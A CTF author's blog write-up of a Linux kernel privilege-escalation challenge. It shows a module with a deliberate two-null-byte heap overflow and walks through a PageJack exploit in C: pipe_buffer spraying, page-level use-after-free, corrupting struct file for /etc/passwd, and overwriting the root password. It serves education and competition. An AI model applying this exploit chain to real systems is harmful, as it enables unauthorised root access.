Kernels and Cats
  • About
  • Posts
  • CVEs
  • CTF Challenges
  • Lab Compendium
  • Random Fun Facts

Utility Pole: Revengeance -- PageJack [LNC 5.0] - Fri, Jul 11, 2025

TLDR

Utility Pole: Revenge (Pt. 1) and Utility Pole: Revengeance (Pt. 2) are a series of collab challenges written by Lambda and I for LNC 5.0. Part 1 (written by Lambda) was a geo-OSINT challenge where players had to identify the locations of 10 utility poles, and part 2 (written by me) was a kernel pwn challenge. The vulnerability was a 2 null-byte heap overflow, which can be utilized for privilege escalation by employing the PageJack technique.

Table of Contents

  1. The Story Behind Utility Pole: Revengeance
  2. Challenge Descriptions
  3. Module Functionality
  4. PageJack
  5. My Favourite Challenge
  6. References and Credits

The Story Behind Utility Pole: Revengeance

Some of you might know that I am a very big fan of Metal Gear Rising: Revengeance (see Dead Pwners’ Society, Big Bang Theory, etc). In MGR, during one of the boss fights, evil corporation Desperado’s leader, Sundowner, fights with main character Raiden (whose real name is Jack) by chopping down a utility pole and swinging it at him:

The utility pole man himself

(Yes, I went to play MGR to get these screenshots)

I found this stupidly funny, so as any sane person would do, I turned it into a CTF challenge (AYCEP CTF 2024’s utilitypole). However, as I have never written an OSINT challenge before, utilitypole V1™ turned out to be guessy and way more difficult than I’ve expected (whoops). Some reactions on Discord for example:

Discord reactions

Since I have written challenges for LNC CTF last year, I thought that it would be funny if a second version of the utility pole challenge was disguised as an OSINT, only for the players to be greeted with a kernel pwn challenge once they have solved the geoguessr part. So, I called OSINT legend “Triangle” Lambda (who spent 18 hours solving a geo-OSINT challenge where the only clues were a road and a butterfly 🦋 – she found the exact location btw) to craft the geoguessr segment of the challenge, while I wrote the kernel pwn. I’ve always wanted to write a PageJack challenge (and totally not because I want to make a stupid MGR joke), hence this challenge came into being.

Challenge Descriptions

Utility Pole: Revenge (Pt. 1)

ROP LLC. has attracted spies ever since our website became popular… too popular. Now all communications must be guarded. Do you know enough about utility poles to pinpoint 10 locations and pass the security check? Make haste, for if you manage to bypass the security check before the next wave, our CISO will grant you early access to our newest data center, as well as crucial company secrets that would aid your journey.

This part of the challenge was written by Lambda – you can see her full writeup here (note: currently this link does not work – repo should be public-ed soon!). (Every utility pole is also based on an MGR reference which is simply peak 🔥🔥)

Utility Pole: Secret Data (Pt. 1.5)

The challenge was designed such that both Revenge (Pt. 1) and Revengeance (Pt. 2) can be solved independently, but if you solve part 1, you will get access to the source code (which is the secret data in this case) of the kernel module.

Utility Pole: Revengeance (Pt. 2)

ROP LLC.’s new data center is managed by sysadmin Jack, who spends all of his time turning the pages of his books instead of securing the server. As one of our trusted operatives, surely you can root the server and show Jack that he should stop laughing at cat memes during company hours? Login credentials are jack:jack, and the flag is in /dev/sdb.

The user is called Jack, and he’s turning the pages of his books, because PageJack, get it? (I will see myself out now…)

Module Functionality

This module is pretty simple and only has two functions: CREATE_SECRET_MESSAGE and WRITE_SECRET_MESSAGE. The challenge is designed such that create and write can only be called one time each.

CREATE_SECRET_MESSAGE: 0xc010ca00

        case CREATE_SECRET_MESSAGE: {
            size = user_data.size; 
            if (secret_message_created == 1) {
                pr_info("Secret message has already been created!\n"); 
                mutex_unlock(&mod_mutex);
                return -1; 
                break;
               }
            secret_msg = kzalloc(sizeof(struct secret_message), GFP_KERNEL_ACCOUNT);
            message_buf = kzalloc(size * 2, GFP_KERNEL_ACCOUNT); 
            secret_msg->size = size; 
            secret_msg->message = (uint64_t)message_buf; 
            pr_info("Secret message created!\n"); 
            secret_message_created = 1;
            mutex_unlock(&mod_mutex); 
            return 0; 
            break;
        }

If a secret message has not been previously created, it will allocate a struct secret_message object in the kmalloc-cg-16 cache. It then takes the size provided by the user (maximum allowed size by the module is 0x400 and size cannot be 0x0) and allocates a buffer of size × 2 in a cg cache. Finally, it sets the size and message variables in secret_msg, sets global variable secret_message_created to 1, unlocks the mutex and returns.

WRITE_SECRET_MESSAGE: 0xc010ca01 and the Bug 🪲

        case WRITE_SECRET_MESSAGE: {
            if (secret_message_written == 1) {
                pr_info("Secret message has already been written!\n"); 
                mutex_unlock(&mod_mutex); 
                return -1; 
                break;
            }
            if (secret_message_created == 0 || secret_msg == 0) {
                pr_info("Secret message does not exist!\n"); 
                mutex_unlock(&mod_mutex); 
                return -1; 
                break; 
            }
            size = secret_msg->size; 
            ret = copy_from_user(buf, (void __user *) user_data.message, size);
            for (int i = 0; i < size; i++) {
                ((uint16_t*)secret_msg->message)[i] = buf[i]; // [1]
            }
            ((uint16_t*)secret_msg->message)[size] = 0x0; // [2]
            pr_info("Secret message written!\n");
            secret_message_written = 1; 
            mutex_unlock(&mod_mutex); 
            return 0; 
            break;
        }

WRITE_SECRET_MESSAGE first checks that a write has not been previously performed, but a secret message has been created and that secret_msg is not 0x0. It will then copy the user’s input of size secret_msg->size into a buffer, before perfoming a copy that is akin to converting a normal ASCII string into a unicode string ([1]). Finally, the string is terminated by adding a unicode 0x0 (which is equivalent to 2 null bytes – [2]).

However, there is an off-by-one (two?) vulnerability in the string termination – the index used is size instead of size - 1, resulting in two null bytes being written out of bounds. Usually, being able to write two null bytes out of bounds is very easily exploitable using struct msg_msg objects (for example), unless…

Kernel Protections

All usual kernel protections (KASLR, SMAP, SMEP, KPTI) have been enabled for this challenge, as well as:

  • CONFIG_CFI_CLANG=y: Control flow integrity – Prevents ROP
  • CONFIG_STATIC_USERMODEHELPER=y: No modprobe path overwrite
  • CONFIG_SLAB_FREELIST_HARDENED=y: Mangles the freelist pointer via 2 XOR operations
  • CONFIG_SLAB_FREELIST_RANDOM=y: Randomizes the freelist order used on creating new pages
  • CONFIG_LIST_HARDENED=y: List protections
  • CONFIG_SYSVIPC=n: No msg_msg objects >:)
  • CONFIG_SLAB_MERGE_DEFAULT=n: Slab merging is disabled

PageJack

PageJack is a leakless kernel exploitation technique that can bypass CONFIG_SLAB_VIRTUAL and CFI. The technique first appeared in d3kcache (D^3CTF 2023), which was written by arttnba3. The gist is to corrupt an object which contains a struct page pointer, after which page level UAF can be obtained. The freed page can then be reallocated by spraying another object (e.g. file, cred), which can then be further corrupted to obtain privilege escalation.

So here is our exploit plan:

  1. Spray some struct pipe_buf
  2. Allocate the vulnerable object
  3. Spray more struct pipe_buf
  4. Trigger the vulnerability – perform 2 null-byte overflow into the struct page pointer in pipe_buf
  5. Find the corrupted pipes
  6. Close one of the corrupted pipes
  7. Spray struct file by opening /etc/passwd
  8. Make /etc/passwd writable
  9. Set root password and PROFIT

Firstly, let’s take a look at struct pipe_buf:

struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

struct pipe_buffer is allocated in kmalloc-cg-1024 as a ring of pipe_buffer structs. Each pipe_buffer object has a pointer to struct page, which is the struct that handles the physical page which contains the data inside the pipe.

Currently, we know that we are able to control the size of the secret message buffer allocated, and that we have a 2 null-byte overflow in that buffer. With this 2 null-byte overwrite, we can partially overwrite the struct page pointer inside a pipe_buffer object such that two pipe_bufs have pointers to the same page. Once we have achieved that, we can cause a page-level UAF by simply closing one of the pipes.

Let’s first set up the heap by spraying some pipe_buffer objects, allocating the secret message buffer, and spraying more pipe_buffer objects after that:

    // Spray half of the pipefds
    printf("[+] Spraying half of the pipefds\n");
    int write_number = 0; 
    for (int i = 0; i < NUM_PIPEFDS/2; i++) {
        write_number = i; 
        if (pipe(pipefd[i]) < 0) {
            perror("[!] pipe");
            exit(-1);
        }
        if (write(pipefd[i][1], &write_number, sizeof(int)) < 0) {
            perror("[!] write");
            exit(-1);
        }
        if (write(pipefd[i][1], "AAAAAAAA", 8) < 0) {
            perror("[!] write");
            exit(-1);
        }
    }

    // Allocate victim 
    do_create(0x200, buf);
    
    // Spray second half of pipefds
    printf("[+] Spraying half of the pipefds\n");
    for (int i = NUM_PIPEFDS/2; i < NUM_PIPEFDS; i++) {
        write_number = i; 
        if (pipe(pipefd[i]) < 0) {
            perror("[!] pipe");
            exit(-1);
        }
        if (write(pipefd[i][1], &write_number, sizeof(int)) < 0) {
            perror("[!] write");
            exit(-1);
        }
        if (write(pipefd[i][1], "AAAAAAAA", 8) < 0) {
            perror("[!] write");
            exit(-1);
        }
    }
    sleep(1); 

This is how the heap looks like:

heap

Once the heap has been fengshui-ed (yes that’s what it’s actually called), we can perform our two null-byte overwrite (do_write(0x200, buf);) so that the heap looks like this:

heap heap

At this point, we have two different pipes that have the same struct page pointer (and hence use the same physical page for pipe data). We can determine which of the pipes these are by reading from all the pipes to see which ones have been corrupted:

    int number = -1; 
    printf("[+] Find corrupted pipe\n"); 
    for (int i = 0; i < NUM_PIPEFDS; i++) {
        if (read(pipefd[i][0], &number, sizeof(int)) < 0) {
            perror("[!] read"); 
            exit(-1);
        }
        if (i != number) {
            corrupted_pipe_1 = number; 
            corrupted_pipe_2 = i; 
            printf("[+] Found corrupted pipes: 0x%x and 0x%x\n", corrupted_pipe_1, corrupted_pipe_2); 
            break; 
        }
    }
    if (corrupted_pipe_1 == -1 || corrupted_pipe_2 == -1) {
        printf("[!] Unable to find corrupted pipe\n"); 
        exit(-1);
    }
    sleep(1); 

Now, we will close one of the pipes, which will free the page, giving us page-level UAF:

    // Free the page
    printf("[+] Get UAF on the page\n"); 
    close(pipefd[corrupted_pipe_1][0]);
    close(pipefd[corrupted_pipe_1][1]); 

heapy heap heap

Now, all that’s left to do is to reclaim the page by spraying some critical struct that we can corrupt to achieve privilege escalation. In this case, I chose to spray struct file for /etc/passwd, as corrupting f_mode inside struct file will make /etc/passwd writable and allow me to change the root password. There are other ways of doing this, such as by spraying and corrupting struct cred in a DirtyCred type attack.

Let’s take a look at struct file:

struct file {
	atomic_long_t			f_count;
	spinlock_t			f_lock;
	fmode_t				f_mode; // Controls read/write permissions
	const struct file_operations	*f_op;
	struct address_space		*f_mapping;
	void				*private_data;
	struct inode			*f_inode;
	unsigned int			f_flags;
	unsigned int			f_iocb_flags;
	const struct cred		*f_cred;
	/* --- cacheline 1 boundary (64 bytes) --- */
	struct path			f_path;
	union {
		/* regular files (with FMODE_ATOMIC_POS) and directories */
		struct mutex		f_pos_lock;
		/* pipes */
		u64			f_pipe;
	};
	loff_t				f_pos;
#ifdef CONFIG_SECURITY
	void				*f_security;
#endif
	/* --- cacheline 2 boundary (128 bytes) --- */
	struct fown_struct		*f_owner;
	errseq_t			f_wb_err;
	errseq_t			f_sb_err;
#ifdef CONFIG_EPOLL
	struct hlist_head		*f_ep;
#endif
	union {
		struct callback_head	f_task_work;
		struct llist_node	f_llist;
		struct file_ra_state	f_ra;
		freeptr_t		f_freeptr;
	};
	/* --- cacheline 3 boundary (192 bytes) --- */
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */

First, we will spray struct file by opening /etc/passwd many times:

    // Spray /etc/passwd
    for (int i = 0; i < NUM_FILES; i++) {
        filefd[i] = open("/etc/passwd", O_RDONLY);
        if (filefd[i] == -1) {
            perror("[!] file open");
            exit(-1); 
        }
    }

Then, we will corrupt f_mode by writing to the other pipe which contains a pointer to the victim page:

    int f_mode = 0x480e801f; 
    printf("[+] Overwrite f_mode\n"); 
    if (write(pipefd[corrupted_pipe_2][1], &f_mode, 4) < 0) {
        printf("[!] write"); 
        exit(-1); 
    }

heapy heap heapy heap

Something to note that is that the offset of f_mode in struct file is 0xc. Note that in the pipe spray section of the exploit, we have written a total of 0xc bytes (4 for the index used to identify the corrupted pipe and 8 “A"s) to the pipe – this is such that when we overwrite f_mode, it will continue writing to the page at offset 0xc and hence corrupt the region of the struct that we want.

Finally, as /etc/passwd is now writable, we can set the root password to whatever we want:

    // Overwrite /etc/passwd
    char passwd[] = "root:$1$ropllc$IIMFfZVFOxSobsxG9DyYu1:0:0:root:/root:/bin/sh\n";
    printf("[+] Overwrite /etc/passwd\n");    
    for (int i = 0; i < NUM_FILES; i++) {
        if (write(filefd[i], passwd, sizeof(passwd)) != -1) {
            printf("[+] Creds: root:jack\n"); 
            char *argv[] = {"/bin/bash", NULL};
            execve(argv[0], argv, NULL);
        }
    }

Now, all that we need to do is to su to the root user and profit!

jack@ropllc:~$ /exploit 
STAGE 1: SETUP
[+] Opening device
STAGE 2: PAGEJACK
[+] Spraying half of the pipefds
[+] Performed create
[+] Spraying half of the pipefds
[+] Trigger vulnerability
[+] Performed write
[+] Find corrupted pipe
[+] Found corrupted pipes: 0x1b and 0x47
[+] Get UAF on the page
[+] IT'S PWN TIME!!!
[+] Overwrite f_mode
[+] Overwrite /etc/passwd
[+] Creds: root:jack
jack@ropllc:/home/jack$ su root
Password: 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /dev/sdb
LNC25{I_7H1nK_1T5_t1m3_f07_J4Ck_t0_L37_3R_r1P!!}

Hope that you guys enjoyed the challenge! :D

My Favourite Challenge

I would also like to take this moment to give a shout out to my absolute favourite challenge (written by Kairos) in this CTF, which I believe is of insane impossible difficulty:

Touch Grass (200 points):

its time you look away from your screen and touch some REAL GRASS! take a picture of you making an “L” with your hand and using it to touch some grass, then open a ticket with that pic to get the flag :) sample pic given below (leftmost in the collage below)

Here are some responses that we got (including fake grass and AI generated grass 💀💀💀):

Grassssss

Also, if you enjoyed the ROP LLC. series of challenges in LNC 5.0, there is one more such challenge:

World Marshal Web (by Lambda):

ROP LLC, the World’s leading definitely-not-evil cybersecurity firm, is under growing scrutiny. As their newest intern, you must make ropllc.com popular so the company can use it to spread propaganda - I mean, spread their Good Name - more effectively.

You can access this challenge here.

References and Credits

  1. https://github.com/arttnba3/D3CTF2023_d3kcache (Original PageJack CTF challenge)
  2. https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf (PageJack paper)
  3. https://terawhiz.github.io/2025/2/oob-write-to-page-uaf-lactf-2025/ (PageJack with struct cred)
  4. https://r1ru.github.io/posts/6/ (Check out his kernel pwn series!!)
  5. Lambda for Utility Pole: Revenge (Pt. 1)
  6. Lambda and Cryptsaria for listening to me ramble about kpwn and MGR
  7. Metal Gear Rising: Revengeance (memes are the DNA of the soul)

Back to Home


© Kaligula Armblessed 2025 | Built on Hugo

Twitter GitHub